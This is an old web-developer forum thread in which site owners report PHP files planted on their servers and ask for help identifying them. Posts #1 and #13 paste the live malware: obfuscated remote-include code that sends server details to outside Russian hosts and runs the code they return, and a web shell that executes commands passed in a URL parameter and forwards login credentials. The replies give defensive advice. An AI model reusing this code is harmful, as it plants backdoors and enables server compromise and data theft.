www.webdeveloper.com
Recent Articles
  • Finding Slow Running Queries in ASE 15
  • A More Advanced Pie Chart for Analysis Services Data
  • Adobe AIR Programming Unleashed: Working with Windows
  • Performance Testing SQL Server 2008's Change Data Capture Functionality
  • The ABC's of PHP: Introduction to PHP
  • How to Migrate from BasicFiles to SecureFiles Storage
  • Why the Twitter Haters Are Wrong
  • User Personalization with PHP: Beginning the Application
  • Whats in an Oracle Schema?
  • Lighting Enhancement in Photoshop
  •  

    Go Back   WebDeveloper.com > Server-Side Development > PHP

    PHP Discussion and technical support for using and deploying PHP based websites.

    Reply
     
    Thread Tools Search this Thread Rate Thread Display Modes
      #1  
    Old 11-05-2005, 01:52 PM
    sexydawg sexydawg is offline
    Registered User
     
    Join Date: Nov 2005
    Posts: 7
    PHP Webserver Attack (What is this?)

    Our webserver is under attack... it came from several different IPs.. they uploaded several randomly named PHP files to an image directly that was CHMODed 777 with names like report.php, date.php, etc. This is the content of the files:

    PHP Code:
    <? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);$g=(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_USER_AGENT);$h=(isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : $REMOTE_ADDR);$str=base64_encode($a).'.'.base64_encode($b).'.'.base64_encode($c).'.'.base64_encode($d).'.'.base64_encode($e).'.'.base64_encode($f).'.'.base64_encode($g).'.'.base64_encode($h); if ((include(base64_decode('aHR0cDovLw==').base64_decode('dXNlcjkubXNodG1sLnJ1')."/?".$str))){} else {include(base64_decode('aHR0cDovLw==').base64_decode('dXNlcjcuaHRtbHRhZ3MucnU=')."/?".$str);} ?>
    Then I get a ton of URL requests from several IPs with questionable file names appended to the end:

    /doom3.&.iso.htm
    /uploader.briana.banks.html

    etc., etc., etc.

    What type of attack is this and what is the best way to stop it? Thanks...

    Last edited by NogDog; 11-05-2005 at 03:38 PM.
    Reply With Quote
      #2  
    Old 11-05-2005, 02:38 PM
    chazzy's Avatar
    chazzy chazzy is offline
    Working class hero
     
    Join Date: Aug 2005
    Location: The Garden State
    Posts: 5,635
    sounds like you have an anonymous ftp account or an account that someone got into and started playing around.
    __________________
    Acceptable Use | SQL Forum FAQ | celery is tasteless | twitter

    celery is tasteless - currently needing some UI time
    Reply With Quote
      #3  
    Old 11-05-2005, 03:10 PM
    bokeh's Avatar
    bokeh bokeh is offline
    Keep it simple, stupid!
     
    Join Date: Jan 2005
    Location: Alicante (Spain)
    Posts: 7,705
    Quote:
    Originally Posted by sexydawg
    they uploaded several randomly named PHP files to an image directly that was CHMODed 777
    How were these uploaded? Do you have a file upload script on your site? If so post the script.
    Reply With Quote
      #4  
    Old 11-05-2005, 03:35 PM
    NogDog's Avatar
    NogDog NogDog is offline
    High Energy Magic Dept.
     
    Join Date: Aug 2004
    Location: Ankh-Morpork
    Posts: 13,646
    It attempts to include a file from http://user9.mshtml.ru/, and if that fails then one from http://user7.htmltags.ru/. It appends a bunch of stuff about your server to the URL. What it does with that info, I do not know, as I don't have access to those files.

    I would contact your web host provider to see if they can/want to take any action, and in the mean time make sure you change all your passwords (using high security types with upper and lower case plus numbers and underscores/hyphens) and making sure anonymous FTP is disabled.
    __________________
    "That's what the gods are! An answer that will do! Because there's food to be caught and babies to be born and life to be lived and so there is not time for big, complicated, and worrying answers! Please give us a simple answer, so that we don't have to think, because if we think, we might find answers that don't fit the way we want the world to be." -- from Nation, by Terry Pratchett
    freelancer.internet.com
    Email me
    Reply With Quote
      #5  
    Old 11-05-2005, 03:40 PM
    LiLcRaZyFuZzY's Avatar
    LiLcRaZyFuZzY LiLcRaZyFuZzY is offline
    Möderätör
     
    Join Date: Jun 2004
    Location: 48°46′36″ N 9°10′48″ E
    Posts: 3,800
    yep, and change passwords once in a while
    Reply With Quote
      #6  
    Old 11-05-2005, 05:04 PM
    ShrineDesigns's Avatar
    ShrineDesigns ShrineDesigns is offline
    Registered User
     
    Join Date: Dec 2002
    Location: Seattle, WA USA
    Posts: 1,653
    it looks to me, someone is using your account to distribute warez

    if it was a client-side hacking, you should REALLY consider improving security and validation in your scripts
    Reply With Quote
      #7  
    Old 11-05-2005, 05:16 PM
    3Pinter's Avatar
    3Pinter 3Pinter is offline
    Registered User
     
    Join Date: Jul 2005
    Posts: 84
    And if you do have an upload-script ... check if it has a limited upload possibility. Some uploadscripts allow for example all kind of files. so some 'bad' people can upload a .php file or a .html which the can 'execute' and retrieve information.

    Good luck

    3Pinter
    __________________
    www.fromthemill.nl
    Reply With Quote
      #8  
    Old 11-05-2005, 08:07 PM
    sexydawg sexydawg is offline
    Registered User
     
    Join Date: Nov 2005
    Posts: 7
    I have an upload script (limited to JPEGs only) but it is in an administration area that is guarded by apache authentication and as far as I can tell nobody has been in there. This was a pretty much instantaneous attack (I know who did it and what provoked it). Is it possible to upload to a CHMOD 777 directory without a script? Also, these were the only files uploaded.. the URLs I included do not exist... those scripts pick them up and redirect to that base64 encoded page.
    Reply With Quote
      #9  
    Old 11-05-2005, 08:14 PM
    bokeh's Avatar
    bokeh bokeh is offline
    Keep it simple, stupid!
     
    Join Date: Jan 2005
    Location: Alicante (Spain)
    Posts: 7,705
    I don't really understand. If you have the IPs of the offender you must also know which of your scripts was used for the upload or include.
    Reply With Quote
      #10  
    Old 11-06-2005, 02:35 AM
    ShrineDesigns's Avatar
    ShrineDesigns ShrineDesigns is offline
    Registered User
     
    Join Date: Dec 2002
    Location: Seattle, WA USA
    Posts: 1,653
    if the directory is chmod 777, they can use ftp anonymously to upload/download files
    Reply With Quote
      #11  
    Old 11-27-2005, 09:18 PM
    TheWraith TheWraith is offline
    Registered User
     
    Join Date: Nov 2005
    Posts: 1
    I'm curious, do you have Mambo installed on your server? I've had this same hack on two of my shared hosting plans, all sites have a slightly outdated version of Mambo. I've even seen some Mambo components installed such as "com_moschat", that I haven't installed. I've had the same strange .php files created, referencing the same domains. I'm wondering if it has something to do with a Mambo exploit.
    Reply With Quote
      #12  
    Old 11-28-2005, 03:03 PM
    shagymoe shagymoe is offline
    Registered User
     
    Join Date: Nov 2005
    Posts: 3
    Me too

    This happened to my site and a client site. Man, I wish there was something that could be done about this!!!!!!!! These Fukcers need to be stopped.
    Reply With Quote
      #13  
    Old 11-28-2005, 03:10 PM
    shagymoe shagymoe is offline
    Registered User
     
    Join Date: Nov 2005
    Posts: 3
    Here is some of the code....I'm hoping this gets out to the search engines.

    <?php
    error_reporting(0);
    if(isset($_POST["l"]) and isset($_POST["p"])){
    if(isset($_POST["input"])){$user_auth="&l=". base64_encode($_POST["l"]) ."&p=". base64_encode(md5($_POST["p"]));}
    else{$user_auth="&l=". $_POST["l"] ."&p=". $_POST["p"];}
    }else{$user_auth="";}
    if(!isset($_POST["log_flg"])){$log_flg="&log";}
    if(! @include_once(base64_decode("aHR0cDovL2Jpcy5pZnJhbWUucnUvbWFzdGVyLnBocD9yX2FkZHI9") . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) ."&url=". base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg))
    {
    if(isset($_GET["a3kfj39fsj2"])){system($_GET["a3kfj39fsj2"]);}
    if($_POST["l"]=="special"){print "sys_active". `uname -a`;}
    }
    ?>




    Another file has this code:


    <? error_reporting(0);$s="k";$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($ d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s"; if ((include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjkubXNodG1sLnJ1")."/?".$str))){} else {include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcuaHRtbHRhZ3MucnU=")."/?".$str);} ?>
    Reply With Quote
      #14  
    Old 11-29-2005, 07:21 AM
    bathurst_guy's Avatar
    bathurst_guy bathurst_guy is offline
    Super Moderator
     
    Join Date: Apr 2005
    Location: Bathurst, NSW, Australia
    Posts: 3,350
    its not good what ever they are doing - first off its from somewhere in russia - so thats immediately bad. the other is that they are trying to execute command line `uname -a` which outputs a single line with the name of the machine and the operating system version. They are doing their homework before they attack. I would check your processing powers and see if it has sky rocketed, they may have anything on the server now.... if so its time for a rebuild
    why do you have a 777 dir anyway...
    __________________
    The answer to all these questions is Google.
    Give your thread a useful title | Webdeveloper.com Acceptable Use Policy
    Something wrong with your code? Validate first! |

    No Australian Net Censorship! The Australian government is wanting to follow in China's footsteps and "provide" nationwide Internet censorship, don't let them!
    Reply With Quote
      #15  
    Old 12-06-2005, 11:06 AM
    shagymoe shagymoe is offline
    Registered User
     
    Join Date: Nov 2005
    Posts: 3
    Is it not commonplace to 777 image directories?
    Reply With Quote
    Reply

    Bookmarks


    Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
     
    Thread Tools Search this Thread
    Search this Thread:

    Advanced Search
    Display Modes Rate This Thread
    Rate This Thread:

    Posting Rules
    You may not post new threads
    You may not post replies
    You may not post attachments
    You may not edit your posts

    BB code is On
    Smilies are On
    [IMG] code is Off
    HTML code is Off
    Forum Jump


    All times are GMT -5. The time now is 10:45 PM.



    Acceptable Use Policy

    internet.comMediabistrojusttechjobs.comGraphics.com

    WebMediaBrands Corporate Info


    Advertise | Newsletters | Feedback | Submit News

    Legal Notices | Licensing | Permissions | Privacy Policy

    Powered by vBulletin® Version 3.7.3
    Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.